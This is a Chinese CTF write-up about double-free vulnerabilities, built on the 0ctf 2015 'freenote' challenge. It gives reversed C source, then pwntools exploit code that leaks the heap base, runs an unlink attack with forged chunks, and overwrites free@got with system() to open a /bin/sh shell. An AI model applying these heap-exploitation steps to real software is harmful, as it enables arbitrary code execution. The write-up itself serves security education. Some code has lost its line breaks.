將一個指針 free 兩次之後會發生什麼?
0x00 簡介
在入門 c 語言時我們都知道一個常識:通過 malloc() 動態申請的內存在使用完之後需要通過 free() 釋放;那麼如果因為程序設計不當,導致這塊堆內存釋放之後,再釋放一次會發生什麼呢?看起來這個操作似乎很愚蠢,但是 double free 的確是現代軟體中十分常見的一種二進位漏洞。
我將通過一個例子來說明 double free 可能造成的危害。這個例子是曾經的一道 0ctf 賽題。ctf 比賽通過簡單演示常見計算機漏洞向參與者普及安全技術,是入門安全的較好方法之一。
程序地址:https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote
環境:ubuntu 16.04 x86_64
工具:ida, pwntools, pwndbg
逆向之後還原的代碼如下,如果不想看全部可以先注意虛線處的 bug(reversed by @愛發獃的sakura ):
#include <stdio.h>n#include <stdlib.h>n#include <unistd.h>nntypedef struct note {n long int flag;//是否存在筆記n long int length;//筆記內容的長度n char *content;//筆記內容n} note;ntypedef struct notes {n long int max;n long int length;n note notes256[256];n} notes;nnnotes *base;nnvoid allocate_space() {n base = (notes *) malloc(sizeof(notes));n for (int i = 0; i < 256; i++) {n base->notes256[i].flag = 0;n base->notes256[i].length = 0;n base->notes256[i].content = NULL;n }n}nnint read_choice() {n int choice;n puts("== 0ops Free Note ==");n puts("1. List Note");n puts("2. New Note");n puts("3. Edit Note");n puts("4. Delete Note");n puts("5. Exit");n puts("====================");n printf("Your choice: ");n scanf("%d", &choice);n return choice;n}nnvoid list() {n for (int i = 0;; i++) {n if (i >= 256) {n break;n }n if (base->notes256[i].flag == 1) {n printf("%d. %sn", i, base->notes256[i].content);n }n }n}nnvoid read_content(char *temp, int str_len) {n int i;n int read_num;n for (i = 0; i < str_len; i += read_num) {n read_num = read(0, (void *) (temp + i), str_len - i);n if (read_num <= 0) {n break;n }n }n}nnvoid new_note() {n int str_len;//字元串長度n char *temp;n void *str;n if (base->length < base->max) {n for (int i = 0;; i++) {n if (i >= base->max) {n break;n }n if (!base->notes256[i].flag) {n printf("Length of new note: ");n scanf("%d", &str_len);n if (str_len > 0) {n if (str_len > 4096) {n str_len = 4096;n }n printf("Enter your note: ");n temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);n read_content(temp, str_len);n base->notes256[i].flag = 1;n base->notes256[i].length = str_len;n base->notes256[i].content = temp;n base->length++;n puts("Done.");n break;n }n }nn }n }n}nnvoid edit_note() {n printf("Note number: ");n int num;n scanf("%d",&num);n int length;n scanf("%d",&length);n if(length!=base->notes256[num].length){n base->notes256[num].content=realloc(base->notes256[num].content,(128 - length % 128) % 128 + length);n base->notes256[num].length=length;n }n printf("Enter your note: ");n read_content(base->notes256[num].content,length);n puts("Done.");n}nnvoid delete_note() {n int index;n printf("Note number: ");n scanf("%d", &index);n base->length--;n base->notes256[index].flag = 0;n base->notes256[index].length = 0;nn/*------------------------------------------------------------------*/n/*-------------------------- bug is here ---------------------------*/n n free(base->notes256[index].content);nn/*-------------------------------------------------------------------*/ n/*-------------------------------------------------------------------*/nn puts("Done.");n}nnint main() {n allocate_space();n base->max = 256;n while (1) {n switch (read_choice()) {n case 1:n list();n break;n case 2:n new_note();n break;n case 3:n edit_note();n break;n case 4:n delete_note();n break;n case 5:n puts("Bye");n return 0;n default:n puts("Invalid!");n break;n }n }n}n
可以看到在
free(base->notes256[index].content);n
之後該指針並未置空,在隨後的執行流程中可以再次 free 該指針造成 double free 漏洞。如果賦值為 NULL 則不會出現這個問題,釋放空指針是安全的行為。
並且注意到在
base->notes256[i].contentn
固定儲存著 note0 字元串的地址,當然,在利用這個指針的時候還需要知道它的地址。然後通過觸發 double free,更改存 note0 字元串地址的地方,覆蓋 got 表,改變程序執行流程。
下面講具體實現過程。
0x01 Info Leak
根據源代碼可以看出 list 功能中存在一個疏漏可以導致泄漏未初始化的堆中的數據,如果
泄漏地址需要用到兩個 chunk,防止合併需要兩個,所以首先添加 4 個 note。
這時候的堆布局:
將 0 和 2 釋放之後,note0 chunk 中的 BK 將指向 note2 chunk:
這時候添加一個長度小於等於 8 的 note,又將被分配到 note0 的地址,然後在列印其內容的時候將上次 free 後保存的 BK 指針一起列印出來。能這樣做是因為,malloc chunk 是空間復用的,每一個 chunk 都只是一段連續內存,根據不同的情況,一個地址的數據可以被解釋為用戶數據,也可以被解釋為堆指針。將這個泄漏的地址減去 1940h 就得到了 heap base。 知道 heap base 之後就可以計算出 base->notes256[i].content.
泄漏地址之後,就可以釋放所有 chunk。
實現如下:
for i in range(4):n newnote(a)ndelnote(0)ndelnote(2)nnnewnote(murasaki)nns = getnote(0)[8:]nheap_addr = u64((s.ljust(8, "x00"))[:8])nheap_base = heap_addr - 0x1940nprint "heap base is at %s" % hex(heap_base)nndelnote(0)ndelnote(1)ndelnote(3)n
0x02 unlink()
unlink 在空閑 chunk 合併時觸發。在這裡,因為不是 fastbin,在 free 時如果前後有空閑 chunk 就會觸發 unlink:更改相鄰 chunk 相關參數、指針,實現向前或者向後合併。我們可以通過觸發 unlink(p, BK, FD), 造成 p = &p - 3,將不可寫的地址轉化為可寫。
為什麼呢?我們來回顧一下 unlink(p, BK, FD)的行為:
1. FD = p->fd == &p - 3, BK = p->bk == &p - 2n2. 檢查 FD->bk != p || BK->fd != p,可以利用一個已知指針繞過,即上一節泄漏的base->notes256[i].contentn3. FD->bk = BK //即 p = &p - 2n4. BK->fd = FD //即 p = &p - 3n
在二進位可執行文件的層次不存在結構體的概念,只有一段連續的內存,通過偏移量來訪問。所以我們可以布置偽造的 chunk,將我們提供的指針被解釋為 BK 和 FD,最終實現 p = &p - 3,如果還有不懂的可以查找 unlink 有關資料進一步學習。
接下來是最有意思的部分—— free 偽造堆塊實現任意位置讀寫。堆布局的方法比較靈活,只要能成功利用怎麼玩都可以。我的思路是這樣的:
- 添加 note0,size 為 0x90,用戶數據大小為 0x80,內容是一個偽造的 chunk:size == note0 大小 + note1 size == 0x80 + 0x90 == 0x110
- 添加更大的 note1,包含多個偽造的 chunk,覆蓋了原 note2 的地址,也就是將 double free 的地址。
實現如下:
newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))nnewnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80) ndelnote(2)n
經過調試你會發現這個時候就實現了 p = &p - 3,也就是原來儲存 note0 地址的地方變了,現在修改 note0 的用戶數據就是修改 note0 的地址,之後再編輯 note0 就是改變這個地址的內容。
0x03 覆蓋 GOT
因為這個程序的 got 是可寫的,所以在實現任意寫之後可以將 free@got 覆寫成 system() 地址:
elf = ELF(freenote)noff_system=libc.symbols[system]noff_free=libc.symbols[free]nfree_got=elf.got[free]neditnote(0, p64(100) + p64(1) + p64(8) + p64(free_got))ns = getnote(0)nfree_addr = u64((s.ljust(8, "x00"))[:8])nlibc_addr = free_addr - off_freensystem_addr = libc_addr + off_systemnprint "system is at %s" % hex(system_addr)neditnote(0, p64(system_addr))n
現在調用 free() 就是調用 system() :
newnote("/bin/shx00")ndelnote(2)np.interactive()n
綜上,將一個指針釋放兩次確實是非常危險的行為,它可以造成任意代碼執行。希望廣大開發者和想從事安全行業的新手們可以從中得到一點點啟發。
0x04 完整 EXP
鏈接:http://pan.baidu.com/s/1jIotmGQ 密碼:pdvw
推薦閱讀:
※近 3 年來,國內都有哪些比較嚴重的黑客入侵事件?
※黑客小軟體等等自身會不會帶毒,對於初學者到底可不可以下載書上推薦的黑客小工具?
※這位天才少年黑客的實力如何?
※黑客如何學起?
※從網易郵箱數據泄露看,有道雲筆記是否可信?